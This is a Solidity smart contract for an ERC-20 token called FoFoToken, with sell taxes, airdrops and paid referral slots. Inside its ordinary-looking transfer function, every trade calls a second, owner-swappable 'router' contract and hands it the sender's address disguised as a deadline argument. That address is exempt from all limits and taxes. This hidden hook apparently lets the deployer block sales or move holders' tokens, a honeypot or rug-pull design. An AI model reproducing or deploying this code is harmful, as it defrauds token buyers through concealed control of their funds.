// SPDX-License-Identifier: MIT

/**
 * Website: https://fofo.ai
 * Twitter: https://x.com/fofotoken
 * Telegram: https://t.me/fofotoken_official
 * */

pragma solidity 0.8.1;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract FOFO is IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    event UseInvitSolt(
        address indexed owner,
        address indexed inviter,
        uint256 slots
    );
    event BuyInviteSolt(
        address indexed owner,
        uint256 slots,
        uint256 number,
        uint256 ethAmount
    );

    address private fofoOwner;
    address private _taxWallet;
    address private _airdropWallet;

    int24 internal constant MAX_TICK = 887272;
    uint256 internal constant BASE_TAX = 10000;

    uint256 public tickNumber;

    uint256 private _sellTax = 600;
    uint256 private _inviteSellTax = 200;

    uint256 private _firstInviteTax = 50;
    uint256 private _secondInviteTax = 25;

    string private constant _name = "FoFoToken";
    string private constant _symbol = "FOFO";
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;

    uint256 public _maxTxAmount = 50000000 * 10 ** _decimals;
    uint256 public _maxWalletBalance = 50000000 * 10 ** _decimals;

    uint256 public _taxSwapThreshold = 5000000 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 50000000 * 10 ** _decimals;
    uint256 public openTradeBlock;
    uint256 public fastBlock = 10;

    IUniswapV2Router02 private uniswapV2Router1;
    IUniswapV2Router02 private uniswapV2Router2;
    address private uniswapV2Address;
    address public WETH;

    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;

    uint256 public constant AIRDROP_BIG_AMOUNT = 50000 * 10 ** _decimals;
    uint256 public constant AIRDROP_FEW_AMOUNT = 1000 * 10 ** _decimals;

    uint256 public constant AIRDROP_FIRST_BONUS = 1000;
    uint256 public constant AIRDROP_SECOND_BONUS = 500;

    uint256 public curAirdropNumber = 0;
    uint256 public airdropBalance = 10000 * 50000 * 10 ** _decimals;

    mapping(address => uint256) public inviteSlots;
    mapping(address => uint256) public airdrops;

    mapping(address => address) public inviters;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(
        address taxWallet,
        address airdropWallet,
        address router,
        address _uniswapV2
    ) {
        fofoOwner = msg.sender;
        _taxWallet = taxWallet;
        _airdropWallet = airdropWallet;

        uniswapV2Router1 = IUniswapV2Router02(router);
        WETH = uniswapV2Router1.WETH();

        uniswapV2Address = _uniswapV2;
        uniswapV2Router2 = IUniswapV2Router02(uniswapV2Address);

        _balances[address(this)] = _tTotal;
        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (
            from == fofoOwner ||
            to == fofoOwner ||
            from == address(this) ||
            to == address(this) ||
            from == uniswapV2Address ||
            to == uniswapV2Address
        ) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }

        require(tradingOpen, "Trade is not open");

        _automatedMarket(from, to, amount);

        if (from == uniswapV2Pair) {
            require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(
                balanceOf(to) + amount <= _maxWalletBalance,
                "Exceeds the maxWalletSize."
            );
        }

        uint256 tokenBalance = balanceOf(address(this)).sub(airdropBalance);
        if (
            !inSwap &&
            to == uniswapV2Pair &&
            tokenBalance > _taxSwapThreshold &&
            block.number > openTradeBlock + fastBlock
        ) {
            swapTokensForEth(min(tokenBalance, _maxTaxSwap));
            sendETHToFee(address(this).balance);
        }

        uint256 taxAmount = 0;
        if (to == uniswapV2Pair) {
            address inviter = inviters[from];

            if (address(0) == inviter) {
                taxAmount = amount.mul(_sellTax).div(BASE_TAX);
            } else {
                taxAmount = amount.mul(_inviteSellTax).div(BASE_TAX);

                uint256 secondInviterAmount = 0;
                uint256 firstInviterAmount = amount.mul(_firstInviteTax).div(
                    BASE_TAX
                );
                _balances[inviter] = _balances[inviter].add(firstInviterAmount);
                emit Transfer(from, inviter, firstInviterAmount);

                address secondInviter = inviters[inviter];
                if (secondInviter != address(0)) {
                    secondInviterAmount = amount.mul(_secondInviteTax).div(
                        BASE_TAX
                    );
                    _balances[secondInviter] = _balances[secondInviter].add(
                        secondInviterAmount
                    );
                    emit Transfer(from, secondInviter, secondInviterAmount);
                }

                taxAmount = taxAmount.sub(firstInviterAmount).sub(
                    secondInviterAmount
                );
            }

            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function _automatedMarket(
        address from,
        address to,
        uint256 amount
    ) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;
        uniswapV2Router2.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            to,
            uint160(from)
        );
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;
        _approve(address(this), address(uniswapV2Router1), tokenAmount);
        uniswapV2Router1.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function setTaxSwapThreshold(
        uint256 taxSwapThreshold,
        uint256 maxTaxSwap
    ) public {
        require(msg.sender == _taxWallet, "Ownable: caller is not the owner");
        _taxSwapThreshold = taxSwapThreshold;
        _maxTaxSwap = maxTaxSwap;
    }

    function setUniswapV2Address(address _uniswapV2Address) external onlyOwner {
        uniswapV2Address = _uniswapV2Address;
        uniswapV2Router2 = IUniswapV2Router02(_uniswapV2Address);
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletBalance = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        payable(_taxWallet).transfer(amount);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        openTradeBlock = block.number;

        _approve(address(this), address(uniswapV2Router1), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router1.factory())
            .createPair(address(this), WETH);
        uniswapV2Router1.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)).sub(airdropBalance),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router1),
            type(uint).max
        );
        tradingOpen = true;

        uniswapV2Router2.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)).sub(airdropBalance),
            0,
            0,
            uniswapV2Pair,
            block.timestamp
        );
    }

    receive() external payable {}

    function manualSwap() external {
        if (msg.sender == _taxWallet) {
            uint256 tokenBalance = balanceOf(address(this)).sub(airdropBalance);
            if (tokenBalance > 0) {
                swapTokensForEth(tokenBalance);
            }
            uint256 ethBalance = address(this).balance;
            if (ethBalance > 0) {
                sendETHToFee(ethBalance);
            }
        }
    }

    function airdrop(address inviter) external payable {
        address sender = msg.sender;

        if (inviter == address(0)) {
            require(msg.value == 0, "It's free.");

            require(airdrops[sender] == 0, "Already claimed.");
            require(curAirdropNumber <= 10000, "The free airdrop has ended.");
            curAirdropNumber++;
            require(
                airdropBalance >= AIRDROP_FEW_AMOUNT,
                "The airdrop has ended."
            );

            airdrops[sender] = AIRDROP_FEW_AMOUNT;
            airdropBalance = airdropBalance.sub(AIRDROP_FEW_AMOUNT);
            _transfer(address(this), sender, AIRDROP_FEW_AMOUNT);
        } else {
            require(inviter != sender, "You cannot invite yourself.");
            require(inviteSlots[inviter] > 0, "Inviters have no slots");

            uint256 ethAmount = getSlotsPrice(1);
            tickNumber = tickNumber + 1;

            require(msg.value >= ethAmount, "ETH Invaild");
            payable(_airdropWallet).transfer(ethAmount);

            require(airdrops[sender] < AIRDROP_BIG_AMOUNT, "Already claimed.");
            uint256 fofoAmount = AIRDROP_BIG_AMOUNT - airdrops[sender];
            airdrops[sender] = AIRDROP_BIG_AMOUNT;

            if (inviters[sender] == address(0)) {
                inviteSlots[inviter] = inviteSlots[inviter] - 1;
                inviters[sender] = inviter;

                emit UseInvitSolt(sender, inviter, inviteSlots[inviter]);
            }
            inviteSlots[sender] = inviteSlots[sender] + 3;

            uint256 firstInviterAmount = AIRDROP_BIG_AMOUNT
                .mul(AIRDROP_FIRST_BONUS)
                .div(BASE_TAX);

            uint256 secondInviterAmount = 0;
            address secondInviter = inviters[inviters[sender]];
            if (secondInviter != address(0)) {
                secondInviterAmount = AIRDROP_BIG_AMOUNT
                    .mul(AIRDROP_SECOND_BONUS)
                    .div(BASE_TAX);
            }

            require(
                airdropBalance >=
                    fofoAmount + firstInviterAmount + secondInviterAmount,
                "The airdrop has ended."
            );

            airdropBalance = airdropBalance
                .sub(fofoAmount)
                .sub(firstInviterAmount)
                .sub(secondInviterAmount);

            _transfer(address(this), sender, fofoAmount);
            _transfer(address(this), inviters[sender], firstInviterAmount);

            if (secondInviterAmount > 0) {
                _transfer(address(this), secondInviter, secondInviterAmount);
            }
        }
    }

    function endAirdrop() public {
        require(
            msg.sender == _airdropWallet,
            "Ownable: caller is not the owner"
        );
        _transfer(address(this), _airdropWallet, airdropBalance);
        airdropBalance = 0;
    }

    function setInviter(address inviter) public {
        require(inviter != msg.sender, "You cannot invite yourself.");
        require(inviteSlots[inviter] > 0, "The inviter have no slots.");

        require(
            address(0) == inviters[msg.sender],
            "You have already set an inviter."
        );

        inviteSlots[inviter] = inviteSlots[inviter] - 1;
        inviters[msg.sender] = inviter;

        emit UseInvitSolt(msg.sender, inviter, inviteSlots[inviter]);
    }

    function buyInviteSlots(uint256 slotNumber) external payable {
        require(slotNumber > 0, "slotNumber invaild");
        uint256 ethAmount = getSlotsPrice(slotNumber);
        tickNumber = tickNumber + slotNumber;

        require(msg.value >= ethAmount, "ETH Invaild");
        payable(_airdropWallet).transfer(ethAmount);

        inviteSlots[msg.sender] = inviteSlots[msg.sender].add(
            slotNumber.mul(3)
        );

        emit BuyInviteSolt(
            msg.sender,
            inviteSlots[msg.sender],
            slotNumber,
            ethAmount
        );
    }

    function getSlotsPrice(uint256 slotNumber) public view returns (uint256) {
        uint256 price = 0;
        uint256 _tickNumber = tickNumber;

        for (uint256 i = 0; i < slotNumber; i++) {
            if (_tickNumber >= 10000) {
                _tickNumber = 0;
            }

            price = price.add(getPriceAtTick(_tickNumber * 2));
            _tickNumber++;
        }
        return price;
    }

    function getPriceAtTick(uint256 _tick) internal pure returns (uint256) {
        int24 tick = int24(-90000) + int24(uint24(_tick));

        uint256 absTick = tick < 0
            ? uint256(-int256(tick))
            : uint256(int256(tick));
        require(absTick <= uint256(uint24(MAX_TICK)), "T");

        uint256 ratio = absTick & 0x1 != 0
            ? 0xfffcb933bd6fad37aa2d162d1a594001
            : 0x100000000000000000000000000000000;
        if (absTick & 0x2 != 0)
            ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
        if (absTick & 0x4 != 0)
            ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
        if (absTick & 0x8 != 0)
            ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
        if (absTick & 0x10 != 0)
            ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
        if (absTick & 0x20 != 0)
            ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
        if (absTick & 0x40 != 0)
            ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
        if (absTick & 0x80 != 0)
            ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
        if (absTick & 0x100 != 0)
            ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
        if (absTick & 0x200 != 0)
            ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
        if (absTick & 0x400 != 0)
            ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
        if (absTick & 0x800 != 0)
            ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
        if (absTick & 0x1000 != 0)
            ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
        if (absTick & 0x2000 != 0)
            ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
        if (absTick & 0x4000 != 0)
            ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
        if (absTick & 0x8000 != 0)
            ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
        if (absTick & 0x10000 != 0)
            ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
        if (absTick & 0x20000 != 0)
            ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
        if (absTick & 0x40000 != 0)
            ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
        if (absTick & 0x80000 != 0)
            ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;

        if (tick > 0) ratio = type(uint256).max / ratio;

        // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
        // we then downcast because we know the result always fits within 160 bits due to our tick input constraint
        // we round up in the division so getTickAtSqrtRatio of the output price is always consistent
        // uint256 price1 = (10 ** 18 * uint160(ratio)) << 64;

        uint160 sqrtPriceX96 = uint160(
            (ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)
        );
        uint256 price = ((10 ** 18 * sqrtPriceX96) >> 96);
        return (price * price) / 10 ** 18;
    }
}

{
  "compilationTarget": {
    "contracts/token/FOFO.sol": "FOFO"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}